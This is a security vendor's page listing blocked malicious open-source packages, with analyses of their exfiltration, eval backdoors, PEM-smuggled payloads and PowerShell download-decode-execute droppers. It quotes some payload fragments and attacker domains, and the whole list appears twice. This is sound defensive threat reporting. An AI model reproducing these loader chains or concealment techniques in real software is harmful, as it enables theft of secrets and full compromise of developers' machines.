Secure OSS Dependencies
Beyond CVE Scanning
Open source code makes up more than 90% of modern software projects, with many apps spamming 10,000+ dependencies. This makes it easy for attackers to use open source as a vector for attacks where open source packages registries are frequently the target of malware. Traditional vulnerability scanners cannot detect active supply chain attacks. Socket's free GitHub app safeguards your open source code from both vulnerable and malicious dependencies.

the_tax_free_cashier_is_at_9f
0.0.1-security
by npm
Live on npm
Blocked by Socket
Malicious code in the_tax_free_cashier_is_at_9f (npm) Source: ghsa-malware (6cd5486908280c6ffff3c0177af75fcd17d2ce470c45862b81d6ac4c66193308) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
@everymatrix/player-account-controller-nd
1.94.114
by adrian.pripon
Live on npm
Blocked by Socket
High-risk supply-chain behavior is present. The module includes a capability to fetch remote text and execute it via `new Function(...)`, plus it can dynamically inject and run a remote script from a hardcoded external domain. It also embeds untrusted iframe URLs with camera/microphone permissions and processes cross-window messages without visible origin validation in this excerpt. This is consistent with a potential malware loader/backdoor pattern and warrants immediate security review (especially control/allowlisting for `importScript(e)` and iframe/script URL sources, plus integrity pinning and origin checks).
rn-push-provisioning
99.0.1
by liquidsec2
Live on npm
Blocked by Socket
The code contains clear data-exfiltration behavior: it silently sends the local hostname, username, platform, and architecture to hardcoded external endpoints over HTTP and HTTPS. The raw IP, unusual domain, duplicate destinations, and suppressed errors are strong malicious indicators. The fragment is syntactically incomplete as provided, but the visible behavior is high risk and should not be used without determining its provenance and removing the network activity.
@everymatrix/player-account-controller
1.94.114
by adrian.pripon
Live on npm
Blocked by Socket
High security risk. This module includes explicit remote code execution capability (fetch remote text then execute via new Function) and remote script injection. It also embeds backend-controlled iframe URLs with camera/microphone permissions and responds to window messages without shown origin validation. Unless importScript is provably unreachable/strictly allowlisted and all remote URLs are strongly validated with integrity controls, the component should be treated as potentially compromised/supply-chain high risk and reviewed for containment (remove/disable runtime execution, enforce URL/origin allowlists, restrict iframe permissions, and validate message origins).
@sankhyalabs/sankhyablocks
10.1.0-rc.37
by victor.uehara
Live on npm
Blocked by Socket
This module is high-risk and strongly indicative of malicious behavior. It performs explicit runtime execution of remotely fetched JavaScript (new Function on fetched content) and globally intercepts XMLHttpRequest to inject a custom request header computed from the serialized outbound request body via a cross-frame global function (top.charcleaner.a). These behaviors enable covert tracking/fingerprinting or data leakage through HTTP metadata and allow full compromise via remote code loading. Treat the package as unacceptable unless provenance, integrity, and runtime behavior are independently verified and controlled.
self-sign
5.6.6
by cookcook
Removed from npm
Blocked by Socket
Malicious code in self-sign (npm) Source: amazon-inspector (b684f78f17626dead6b3d11131179a7a1aff7fa5e903daeecdac17ce8e3b99b3) The exported generate() function in self-sign@5.6.7 accepts an undocumented third `defaults` parameter. When passed a string, the code strips PEM `-----BEGIN CERTIFICATE-----` headers, base64-decodes the remaining body, and passes the result to eval() inside a silent try/catch. The TypeScript declaration file advertises only two parameters, concealing the sink, while the shipped README examples pass a third argument (null), normalising the call shape so downstream callers can be induced to propagate attacker-controllable certificate-shaped strings into the eval sink. A cryptographic/x509 helper has no legitimate reason to evaluate base64 content extracted from a certificate string; this pattern yields arbitrary JavaScript execution in the process of any consumer that reaches this code path with attacker-influenced input. The package.json name (`self-sign`) also diverges from the require identifier used in the shipped documentation (`require('selfsign')`), a naming inconsistency that supports confusion with the legitimate selfsigned library. Source: ghsa-malware (b8adbf388bace10b905f93be8487c3b1866d941ecc0f968972de85f3b20f44de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.
mathkitlite
0.1.0
Live on pypi
Blocked by Socket
The code contains clear unauthorized telemetry/exfiltration behavior: it sends the local username and hostname to an external, suspicious collection endpoint during package setup execution. It should not be used or installed in an untrusted environment. The behavior is not substantially obfuscated, but its purpose is malicious or at minimum clearly unsafe for a package installer.
mathkitlite
0.1.0
Live on pypi
Blocked by Socket
Malicious code in mathkitlite (PyPI) Source: kam193 (c91a8962fd66464487bcdb5e2c217990cfdea55df22e7166c11703f91dfb7845) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.
@cexy/wonfca
1.1.3
by cexy
Live on npm
Blocked by Socket
The fragment contains a high-severity credential disclosure concern: automatic re-login sends Facebook credentials and two-factor data to the hardcoded third-party endpoint `https://minhdong.site` via `tokensViaAPI()`. This behavior is not necessary for ordinary Facebook API operation and should be treated as potentially malicious or at minimum unsafe until the endpoint and implementation are independently verified. The runtime npm update installer is an additional supply-chain risk, and AppState autosaving creates sensitive local credential storage. Most other code implements expected Facebook HTTP, GraphQL, MQTT, persistence, and scheduling functionality. The supplied fragment is truncated, limiting complete validation.
apohara-agentguard
0.5.0
by Pablo Manuel Suarez
Live on cargo
Blocked by Socket
The code represents a clear credential-exfiltration attempt: it reads AWS_SECRET_ACCESS_KEY and sends it in an HTTP POST request to an external endpoint. It should be blocked and treated as high-risk malicious shell activity.
pybitjs
0.1.0
Removed from pypi
Blocked by Socket
The file contains heavily obfuscated JavaScript that acts as a stager. It performs outbound requests to Ethereum RPC and other API endpoints to retrieve data associated with a specific blockchain address. This data is then decoded and executed directly on the host machine using `eval()` and `child_process.spawn()`, which is a common technique for downloading and running malicious payloads without leaving static traces in the initial script.
Live on pypi for 8 hours and 8 minutes before removal. Socket users were protected even while the package was live.
self-certificates
1.2.7
by cookcook
Removed from npm
Blocked by Socket
Malicious code in self-certificates (npm) Source: amazon-inspector (ced9167241d391937ba7b1f2625aa3f8184d832ebc61c182936100ae3a3f13bd) Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine. Source: ghsa-malware (8a99096f4afe74fe32b56b50df1e93fa15193616360c3656af701ce06bc42183) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.
dynamoforrevit.2024.zerotouchutils
2026.8.26
by onBIM Technology
Live on nuget
Blocked by Socket
The fragment is not ordinary application source; it is a heavily protected .NET assembly containing anti-tamper checks, encrypted embedded resources, runtime delegate rewriting, CLR/JIT inspection, executable-memory allocation, and process-memory modification. These mechanisms may belong to a commercial obfuscator or packer, but they materially conceal behavior and create a high supply-chain risk. No direct network exfiltration, credential theft, persistence, or process spawning is visible in the supplied fragment. The source is also incomplete/malformed, so the embedded payload and omitted helper implementations require binary-level analysis before use.
xutk
0.4.0rc1
Live on pypi
Blocked by Socket
The code contains a high-severity supply-chain security issue: every generated SLURM script executes Python code downloaded from a hard-coded private HTTP endpoint without authentication or integrity verification. This should be removed or replaced with a trusted, versioned, hash-verified local dependency or securely authenticated artifact. The remaining orchestration code appears broadly consistent with job management, subject to review of the truncated remainder and the implementations of imported configuration and runner components.
revit.2025.utils
2026.8.26
by onBIM Technology
Live on nuget
Blocked by Socket
The fragment is not ordinary readable C# source; it is heavily obfuscated and contains a sophisticated runtime protection/loader layer. It decrypts embedded resources, resolves methods dynamically, manipulates delegates and JIT/native memory, and performs anti-tamper checks. These are high-risk behaviors for a package dependency because the real implementations and payload are concealed. No direct network theft or destructive operation is visible, but the assembly should not be trusted without inspecting the original binary, embedded resources, decrypted payload, and runtime behavior in an isolated environment.
deepseek-free-agent
1.11.1
by readfor
Live on npm
Blocked by Socket
This package runs a local postinstall script during installation and installs an agent that accepts remote tasks via an HTTP API. That combination creates a high risk of untrusted code execution, telemetry/data exfiltration, and potential system misuse if the package or the tasks it accepts are malicious. The manifest alone does not prove active malware, but automatic execution (postinstall) plus the agent functionality warrants treating this as high security risk until the package's source (particularly src/postinstall.js, src/index.js, and related runtime code) is audited.
techportal
4.0.10
by chudamax
Live on npm
Blocked by Socket
The code contains a deliberate telemetry/exfiltration beacon. When enabled by configuration, it sends the hostname, username, and working directory to a configured HTTP(S) endpoint and, on failure, embeds the same data in DNS queries. This is a significant supply-chain and privacy risk because it executes at module load time and supports a covert DNS fallback channel. The configuration-based enablement reduces certainty about unauthorized intent, but the behavior is not necessary for a typical library and should be treated as malicious or unsafe unless explicitly authorized and independently verified.
shimmer
0.0.47
by Jens Ravens
Live on rubygems
Blocked by Socket
This module implements direct arbitrary JavaScript execution by eval’ing content read from a DOM element’s innerText during connect(), followed by immediate DOM removal. If the element’s text can be influenced by an attacker, it enables client-side code execution and potential data theft or further payload delivery. Treat as critically unsafe unless the evaluated content is fully immutable and guaranteed safe/trusted at build time.
dynamoforrevit.2024.zerotouchutils
2026.8.26
by onBIM Technology
Live on nuget
Blocked by Socket
The fragment is not ordinary C# utility code. It contains extensive intentional obfuscation, encrypted embedded resources, anti-tamper verification, dynamic method/delegate reconstruction, CLR/JIT inspection, executable memory allocation, and direct process-memory patching. These are high-risk supply-chain indicators and could conceal arbitrary native or managed payload behavior. No direct exfiltration or network-based malware is shown, but the hidden runtime payload cannot be assessed safely from this fragment. Do not use the package in a production Revit environment without obtaining and validating the original unobfuscated source, inspecting embedded resources, and sandboxing the binary.
bq-build-probe-vrp-2026
0.1.0
Live on pypi
Blocked by Socket
The code is a build-time reconnaissance and environment-capture probe. It does not directly exfiltrate data, but it records the complete environment and cloud identity metadata, then embeds the findings in the package. This can leak credentials and sensitive infrastructure details through published artifacts. The behavior is consistent with a supply-chain reconnaissance component and should not be run in a sensitive build environment or published without substantial changes.
isite
2026.8.26
by amrbarakat
Live on npm
Blocked by Socket
The fragment contains clear high-impact malicious-capable behavior: automatic remote retrieval and execution of encoded JavaScript, plus WebSocket-triggered arbitrary script execution. It also contains serious security weaknesses involving external data disclosure, exposed session credentials, unauthenticated proxy and session-management endpoints, caller-controlled process operations, possible path traversal, and weak session-token generation. The remote eval channel is not required for ordinary mail, Telegram, templating, or application functionality and should be treated as a backdoor or unsafe remote administration mechanism until independently verified and removed.
github.com/Kaleidora/dnsub-scanning-tool
v0.0.0-20260826164532-0b22ea735b48
Live on go
Blocked by Socket
The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.
github.com/Kaleidora/dnsub-scanning-tool
v0.0.0-20260827050248-b86b7cae80a0
Live on go
Blocked by Socket
The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.
self-sign
5.6.4
by cookcook
Removed from npm
Blocked by Socket
The code contains a high-confidence arbitrary-code-execution backdoor: caller-controlled data from `defaults` is Base64-decoded and executed with `eval`. This behavior is unrelated to certificate generation and could enable complete compromise of the host or theft of secrets. The package or module should not be used until the `eval` path is removed and the origin and integrity of the code are investigated. Logging `defaults` may also leak sensitive data. The certificate logic itself is generally expected, with additional cryptographic concerns around SHA-1 usage.
Live on npm for 11 hours and 37 minutes before removal. Socket users were protected even while the package was live.
ufcdata
0.7.2
Live on pypi
Blocked by Socket
Primary risk: high-impact unsafe deserialization (pickle.load) of a file downloaded at runtime from an external Hugging Face dataset. If the dataset artifact is malicious or tampered with, this can lead to arbitrary code execution during unpickling. Aside from minor logging suppression and an apparent return-variable bug, the snippet shows no direct exfiltration/backdoor behavior.
the_tax_free_cashier_is_at_9f
0.0.1-security
by npm
Live on npm
Blocked by Socket
Malicious code in the_tax_free_cashier_is_at_9f (npm) Source: ghsa-malware (6cd5486908280c6ffff3c0177af75fcd17d2ce470c45862b81d6ac4c66193308) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
@everymatrix/player-account-controller-nd
1.94.114
by adrian.pripon
Live on npm
Blocked by Socket
High-risk supply-chain behavior is present. The module includes a capability to fetch remote text and execute it via `new Function(...)`, plus it can dynamically inject and run a remote script from a hardcoded external domain. It also embeds untrusted iframe URLs with camera/microphone permissions and processes cross-window messages without visible origin validation in this excerpt. This is consistent with a potential malware loader/backdoor pattern and warrants immediate security review (especially control/allowlisting for `importScript(e)` and iframe/script URL sources, plus integrity pinning and origin checks).
rn-push-provisioning
99.0.1
by liquidsec2
Live on npm
Blocked by Socket
The code contains clear data-exfiltration behavior: it silently sends the local hostname, username, platform, and architecture to hardcoded external endpoints over HTTP and HTTPS. The raw IP, unusual domain, duplicate destinations, and suppressed errors are strong malicious indicators. The fragment is syntactically incomplete as provided, but the visible behavior is high risk and should not be used without determining its provenance and removing the network activity.
@everymatrix/player-account-controller
1.94.114
by adrian.pripon
Live on npm
Blocked by Socket
High security risk. This module includes explicit remote code execution capability (fetch remote text then execute via new Function) and remote script injection. It also embeds backend-controlled iframe URLs with camera/microphone permissions and responds to window messages without shown origin validation. Unless importScript is provably unreachable/strictly allowlisted and all remote URLs are strongly validated with integrity controls, the component should be treated as potentially compromised/supply-chain high risk and reviewed for containment (remove/disable runtime execution, enforce URL/origin allowlists, restrict iframe permissions, and validate message origins).
@sankhyalabs/sankhyablocks
10.1.0-rc.37
by victor.uehara
Live on npm
Blocked by Socket
This module is high-risk and strongly indicative of malicious behavior. It performs explicit runtime execution of remotely fetched JavaScript (new Function on fetched content) and globally intercepts XMLHttpRequest to inject a custom request header computed from the serialized outbound request body via a cross-frame global function (top.charcleaner.a). These behaviors enable covert tracking/fingerprinting or data leakage through HTTP metadata and allow full compromise via remote code loading. Treat the package as unacceptable unless provenance, integrity, and runtime behavior are independently verified and controlled.
self-sign
5.6.6
by cookcook
Removed from npm
Blocked by Socket
Malicious code in self-sign (npm) Source: amazon-inspector (b684f78f17626dead6b3d11131179a7a1aff7fa5e903daeecdac17ce8e3b99b3) The exported generate() function in self-sign@5.6.7 accepts an undocumented third `defaults` parameter. When passed a string, the code strips PEM `-----BEGIN CERTIFICATE-----` headers, base64-decodes the remaining body, and passes the result to eval() inside a silent try/catch. The TypeScript declaration file advertises only two parameters, concealing the sink, while the shipped README examples pass a third argument (null), normalising the call shape so downstream callers can be induced to propagate attacker-controllable certificate-shaped strings into the eval sink. A cryptographic/x509 helper has no legitimate reason to evaluate base64 content extracted from a certificate string; this pattern yields arbitrary JavaScript execution in the process of any consumer that reaches this code path with attacker-influenced input. The package.json name (`self-sign`) also diverges from the require identifier used in the shipped documentation (`require('selfsign')`), a naming inconsistency that supports confusion with the legitimate selfsigned library. Source: ghsa-malware (b8adbf388bace10b905f93be8487c3b1866d941ecc0f968972de85f3b20f44de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.
mathkitlite
0.1.0
Live on pypi
Blocked by Socket
The code contains clear unauthorized telemetry/exfiltration behavior: it sends the local username and hostname to an external, suspicious collection endpoint during package setup execution. It should not be used or installed in an untrusted environment. The behavior is not substantially obfuscated, but its purpose is malicious or at minimum clearly unsafe for a package installer.
mathkitlite
0.1.0
Live on pypi
Blocked by Socket
Malicious code in mathkitlite (PyPI) Source: kam193 (c91a8962fd66464487bcdb5e2c217990cfdea55df22e7166c11703f91dfb7845) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.
@cexy/wonfca
1.1.3
by cexy
Live on npm
Blocked by Socket
The fragment contains a high-severity credential disclosure concern: automatic re-login sends Facebook credentials and two-factor data to the hardcoded third-party endpoint `https://minhdong.site` via `tokensViaAPI()`. This behavior is not necessary for ordinary Facebook API operation and should be treated as potentially malicious or at minimum unsafe until the endpoint and implementation are independently verified. The runtime npm update installer is an additional supply-chain risk, and AppState autosaving creates sensitive local credential storage. Most other code implements expected Facebook HTTP, GraphQL, MQTT, persistence, and scheduling functionality. The supplied fragment is truncated, limiting complete validation.
apohara-agentguard
0.5.0
by Pablo Manuel Suarez
Live on cargo
Blocked by Socket
The code represents a clear credential-exfiltration attempt: it reads AWS_SECRET_ACCESS_KEY and sends it in an HTTP POST request to an external endpoint. It should be blocked and treated as high-risk malicious shell activity.
pybitjs
0.1.0
Removed from pypi
Blocked by Socket
The file contains heavily obfuscated JavaScript that acts as a stager. It performs outbound requests to Ethereum RPC and other API endpoints to retrieve data associated with a specific blockchain address. This data is then decoded and executed directly on the host machine using `eval()` and `child_process.spawn()`, which is a common technique for downloading and running malicious payloads without leaving static traces in the initial script.
Live on pypi for 8 hours and 8 minutes before removal. Socket users were protected even while the package was live.
self-certificates
1.2.7
by cookcook
Removed from npm
Blocked by Socket
Malicious code in self-certificates (npm) Source: amazon-inspector (ced9167241d391937ba7b1f2625aa3f8184d832ebc61c182936100ae3a3f13bd) Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine. Source: ghsa-malware (8a99096f4afe74fe32b56b50df1e93fa15193616360c3656af701ce06bc42183) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Live on npm for 4 hours and 20 minutes before removal. Socket users were protected even while the package was live.
dynamoforrevit.2024.zerotouchutils
2026.8.26
by onBIM Technology
Live on nuget
Blocked by Socket
The fragment is not ordinary application source; it is a heavily protected .NET assembly containing anti-tamper checks, encrypted embedded resources, runtime delegate rewriting, CLR/JIT inspection, executable-memory allocation, and process-memory modification. These mechanisms may belong to a commercial obfuscator or packer, but they materially conceal behavior and create a high supply-chain risk. No direct network exfiltration, credential theft, persistence, or process spawning is visible in the supplied fragment. The source is also incomplete/malformed, so the embedded payload and omitted helper implementations require binary-level analysis before use.
xutk
0.4.0rc1
Live on pypi
Blocked by Socket
The code contains a high-severity supply-chain security issue: every generated SLURM script executes Python code downloaded from a hard-coded private HTTP endpoint without authentication or integrity verification. This should be removed or replaced with a trusted, versioned, hash-verified local dependency or securely authenticated artifact. The remaining orchestration code appears broadly consistent with job management, subject to review of the truncated remainder and the implementations of imported configuration and runner components.
revit.2025.utils
2026.8.26
by onBIM Technology
Live on nuget
Blocked by Socket
The fragment is not ordinary readable C# source; it is heavily obfuscated and contains a sophisticated runtime protection/loader layer. It decrypts embedded resources, resolves methods dynamically, manipulates delegates and JIT/native memory, and performs anti-tamper checks. These are high-risk behaviors for a package dependency because the real implementations and payload are concealed. No direct network theft or destructive operation is visible, but the assembly should not be trusted without inspecting the original binary, embedded resources, decrypted payload, and runtime behavior in an isolated environment.
deepseek-free-agent
1.11.1
by readfor
Live on npm
Blocked by Socket
This package runs a local postinstall script during installation and installs an agent that accepts remote tasks via an HTTP API. That combination creates a high risk of untrusted code execution, telemetry/data exfiltration, and potential system misuse if the package or the tasks it accepts are malicious. The manifest alone does not prove active malware, but automatic execution (postinstall) plus the agent functionality warrants treating this as high security risk until the package's source (particularly src/postinstall.js, src/index.js, and related runtime code) is audited.
techportal
4.0.10
by chudamax
Live on npm
Blocked by Socket
The code contains a deliberate telemetry/exfiltration beacon. When enabled by configuration, it sends the hostname, username, and working directory to a configured HTTP(S) endpoint and, on failure, embeds the same data in DNS queries. This is a significant supply-chain and privacy risk because it executes at module load time and supports a covert DNS fallback channel. The configuration-based enablement reduces certainty about unauthorized intent, but the behavior is not necessary for a typical library and should be treated as malicious or unsafe unless explicitly authorized and independently verified.
shimmer
0.0.47
by Jens Ravens
Live on rubygems
Blocked by Socket
This module implements direct arbitrary JavaScript execution by eval’ing content read from a DOM element’s innerText during connect(), followed by immediate DOM removal. If the element’s text can be influenced by an attacker, it enables client-side code execution and potential data theft or further payload delivery. Treat as critically unsafe unless the evaluated content is fully immutable and guaranteed safe/trusted at build time.
dynamoforrevit.2024.zerotouchutils
2026.8.26
by onBIM Technology
Live on nuget
Blocked by Socket
The fragment is not ordinary C# utility code. It contains extensive intentional obfuscation, encrypted embedded resources, anti-tamper verification, dynamic method/delegate reconstruction, CLR/JIT inspection, executable memory allocation, and direct process-memory patching. These are high-risk supply-chain indicators and could conceal arbitrary native or managed payload behavior. No direct exfiltration or network-based malware is shown, but the hidden runtime payload cannot be assessed safely from this fragment. Do not use the package in a production Revit environment without obtaining and validating the original unobfuscated source, inspecting embedded resources, and sandboxing the binary.
bq-build-probe-vrp-2026
0.1.0
Live on pypi
Blocked by Socket
The code is a build-time reconnaissance and environment-capture probe. It does not directly exfiltrate data, but it records the complete environment and cloud identity metadata, then embeds the findings in the package. This can leak credentials and sensitive infrastructure details through published artifacts. The behavior is consistent with a supply-chain reconnaissance component and should not be run in a sensitive build environment or published without substantial changes.
isite
2026.8.26
by amrbarakat
Live on npm
Blocked by Socket
The fragment contains clear high-impact malicious-capable behavior: automatic remote retrieval and execution of encoded JavaScript, plus WebSocket-triggered arbitrary script execution. It also contains serious security weaknesses involving external data disclosure, exposed session credentials, unauthenticated proxy and session-management endpoints, caller-controlled process operations, possible path traversal, and weak session-token generation. The remote eval channel is not required for ordinary mail, Telegram, templating, or application functionality and should be treated as a backdoor or unsafe remote administration mechanism until independently verified and removed.
github.com/Kaleidora/dnsub-scanning-tool
v0.0.0-20260826164532-0b22ea735b48
Live on go
Blocked by Socket
The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.
github.com/Kaleidora/dnsub-scanning-tool
v0.0.0-20260827050248-b86b7cae80a0
Live on go
Blocked by Socket
The file contains a Windows malware loader/dropper pattern. On execution, it spawns PowerShell with a hidden window and downloads remote content from hxxps://muckcoding[.]com/LG-LW/Api-Certificate to C:\Users\Public\Pictures\api.db. It then uses certutil -decode to convert that downloaded file into C:\Users\Public\Pictures\L.ps1 and launches another hidden PowerShell process to run the decoded script with -ExecutionPolicy Bypass. This download -> decode -> execute chain enables arbitrary remote payload execution without validation or user consent and is consistent with backdoor or malware delivery behavior.
self-sign
5.6.4
by cookcook
Removed from npm
Blocked by Socket
The code contains a high-confidence arbitrary-code-execution backdoor: caller-controlled data from `defaults` is Base64-decoded and executed with `eval`. This behavior is unrelated to certificate generation and could enable complete compromise of the host or theft of secrets. The package or module should not be used until the `eval` path is removed and the origin and integrity of the code are investigated. Logging `defaults` may also leak sensitive data. The certificate logic itself is generally expected, with additional cryptographic concerns around SHA-1 usage.
Live on npm for 11 hours and 37 minutes before removal. Socket users were protected even while the package was live.
ufcdata
0.7.2
Live on pypi
Blocked by Socket
Primary risk: high-impact unsafe deserialization (pickle.load) of a file downloaded at runtime from an external Hugging Face dataset. If the dataset artifact is malicious or tampered with, this can lead to arbitrary code execution during unpickling. Aside from minor logging suppression and an apparent return-variable bug, the snippet shows no direct exfiltration/backdoor behavior.
Proactively search and detect dependencies across repositories in your organization, with actionable insights for your projects and SBOMs

Block emerging malware threats, including intentionally maintainer-added updates, along with packages that differ in name by only a few characters..
Get alerted when a dependency update introduces new risky API usage - filesystem, network, child_process, eval().
Detect obfuscated, minified, or hidden code.
Socket detects the sudden inclusion of a new maintainer, updates with telemetry or protestware added, dependencies pulled in from a remote git URL, and much more.
We help security teams work more efficiently
Get actionable alerts for the supply chain risks that matter. Socket highlights risky dependencies directly within the developer workflow.